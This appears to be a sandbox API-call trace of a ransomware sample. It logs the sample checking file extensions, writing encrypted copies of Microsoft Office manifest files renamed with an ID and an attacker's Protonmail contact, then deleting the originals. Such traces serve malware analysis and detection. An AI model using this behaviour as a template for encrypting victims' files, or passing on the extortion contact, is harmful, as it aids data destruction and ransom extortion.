	[0078.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString=".xls") returned 4
	[0078.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString=".xlsx") returned 5
	[0078.758] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.758] lstrlenW (lpString=".ppt") returned 4
	[0078.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.758] lstrlenW (lpString=".zip") returned 4
	[0078.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.758] lstrlenW (lpString=".rar") returned 4
	[0078.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString=".bz2") returned 4
	[0078.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString=".7z") returned 3
	[0078.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.758] lstrlenW (lpString=".dbf") returned 4
	[0078.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.758] lstrlenW (lpString=".1cd") returned 4
	[0078.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.758] lstrlenW (lpString=".jpg") returned 4
	[0078.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.759] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.759] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53
	[0078.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.759] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1261) returned 1
	[0078.759] CloseHandle (hObject=0x388) returned 1
	[0078.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.760] GetLastError () returned 0x0
	[0078.760] ReadFile (in: hFile=0x388, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.952] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.954] ReadFile (in: hFile=0x388, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.954] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.954] SetEndOfFile (hFile=0x370) returned 1
	[0078.954] CloseHandle (hObject=0x370) returned 1
	[0078.955] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.955] SetEndOfFile (hFile=0x388) returned 1
	[0078.956] CloseHandle (hObject=0x388) returned 1
	[0078.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.957] lstrlenW (lpString=".doc") returned 4
	[0078.957] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.957] lstrlenW (lpString=".docx") returned 5
	[0078.957] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.957] lstrlenW (lpString=".pdf") returned 4
	[0078.957] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.957] lstrlenW (lpString=".xls") returned 4
	[0078.957] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.957] lstrlenW (lpString=".xlsx") returned 5
	[0078.957] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.957] lstrlenW (lpString=".ppt") returned 4
	[0078.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.957] lstrlenW (lpString=".zip") returned 4
	[0078.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.957] lstrlenW (lpString=".rar") returned 4
	[0078.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.957] lstrlenW (lpString=".bz2") returned 4
	[0078.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.957] lstrlenW (lpString=".7z") returned 3
	[0078.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.957] lstrlenW (lpString=".dbf") returned 4
	[0078.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.957] lstrlenW (lpString=".1cd") returned 4
	[0078.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.958] lstrlenW (lpString=".jpg") returned 4
	[0078.958] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.958] lstrlenW (lpString=".doc") returned 4
	[0078.958] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString=".docx") returned 5
	[0078.958] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.958] lstrlenW (lpString=".pdf") returned 4
	[0078.958] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString=".xls") returned 4
	[0078.958] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString=".xlsx") returned 5
	[0078.958] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.958] lstrlenW (lpString=".ppt") returned 4
	[0078.958] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.958] lstrlenW (lpString=".zip") returned 4
	[0078.958] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.958] lstrlenW (lpString=".rar") returned 4
	[0078.958] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString=".bz2") returned 4
	[0078.958] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString=".7z") returned 3
	[0078.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.958] lstrlenW (lpString=".dbf") returned 4
	[0078.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.958] lstrlenW (lpString=".1cd") returned 4
	[0078.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.959] lstrlenW (lpString=".jpg") returned 4
	[0078.959] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.959] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.959] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53
	[0078.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.959] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3754) returned 1
	[0078.959] CloseHandle (hObject=0x388) returned 1
	[0078.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0078.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.959] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.960] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.960] GetLastError () returned 0x0
	[0078.960] ReadFile (in: hFile=0x388, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xeaa, lpOverlapped=0x0) returned 1
	[0078.987] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0078.988] ReadFile (in: hFile=0x388, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.988] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.988] SetEndOfFile (hFile=0x370) returned 1
	[0078.988] CloseHandle (hObject=0x370) returned 1
	[0078.989] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.989] SetEndOfFile (hFile=0x388) returned 1
	[0078.990] CloseHandle (hObject=0x388) returned 1
	[0078.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1
	[0079.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.048] lstrlenW (lpString=".doc") returned 4
	[0079.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString=".docx") returned 5
	[0079.049] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0079.049] lstrlenW (lpString=".pdf") returned 4
	[0079.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString=".xls") returned 4
	[0079.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString=".xlsx") returned 5
	[0079.049] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0079.049] lstrlenW (lpString=".ppt") returned 4
	[0079.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.049] lstrlenW (lpString=".zip") returned 4
	[0079.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0079.049] lstrlenW (lpString=".rar") returned 4
	[0079.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString=".bz2") returned 4
	[0079.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString=".7z") returned 3
	[0079.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0079.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.049] lstrlenW (lpString=".dbf") returned 4
	[0079.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.049] lstrlenW (lpString=".1cd") returned 4
	[0079.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.049] lstrlenW (lpString=".jpg") returned 4
	[0079.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.049] lstrlenW (lpString=".doc") returned 4
	[0079.049] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0079.049] lstrlenW (lpString=".docx") returned 5
	[0079.049] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0079.050] lstrlenW (lpString=".pdf") returned 4
	[0079.050] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0079.050] lstrlenW (lpString=".xls") returned 4
	[0079.050] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0079.050] lstrlenW (lpString=".xlsx") returned 5
	[0079.050] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0079.050] lstrlenW (lpString=".ppt") returned 4
	[0079.050] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0079.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.050] lstrlenW (lpString=".zip") returned 4
	[0079.050] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0079.050] lstrlenW (lpString=".rar") returned 4
	[0079.050] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0079.050] lstrlenW (lpString=".bz2") returned 4
	[0079.050] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0079.050] lstrlenW (lpString=".7z") returned 3
	[0079.050] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0079.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.050] lstrlenW (lpString=".dbf") returned 4
	[0079.050] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0079.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.050] lstrlenW (lpString=".1cd") returned 4
	[0079.050] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0079.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0079.050] lstrlenW (lpString=".jpg") returned 4
	[0079.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0079.050] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0079.050] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53
	[0079.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.072] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1261) returned 1
	[0080.077] CloseHandle (hObject=0x374) returned 1
	[0080.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0080.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0080.118] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.118] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.130] GetLastError () returned 0x0
	[0080.130] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0080.157] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0080.159] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.159] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0080.159] SetEndOfFile (hFile=0x374) returned 1
	[0080.159] CloseHandle (hObject=0x374) returned 1
	[0080.160] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.160] SetEndOfFile (hFile=0x2bc) returned 1
	[0080.161] CloseHandle (hObject=0x2bc) returned 1
	[0080.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1
	[0080.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0080.162] lstrlenW (lpString=".doc") returned 4
	[0080.162] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.162] lstrlenW (lpString=".docx") returned 5
	[0080.162] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.162] lstrlenW (lpString=".pdf") returned 4
	[0080.162] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.162] lstrlenW (lpString=".xls") returned 4
	[0080.162] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.162] lstrlenW (lpString=".xlsx") returned 5
	[0080.162] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.162] lstrlenW (lpString=".ppt") returned 4
	[0080.162] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
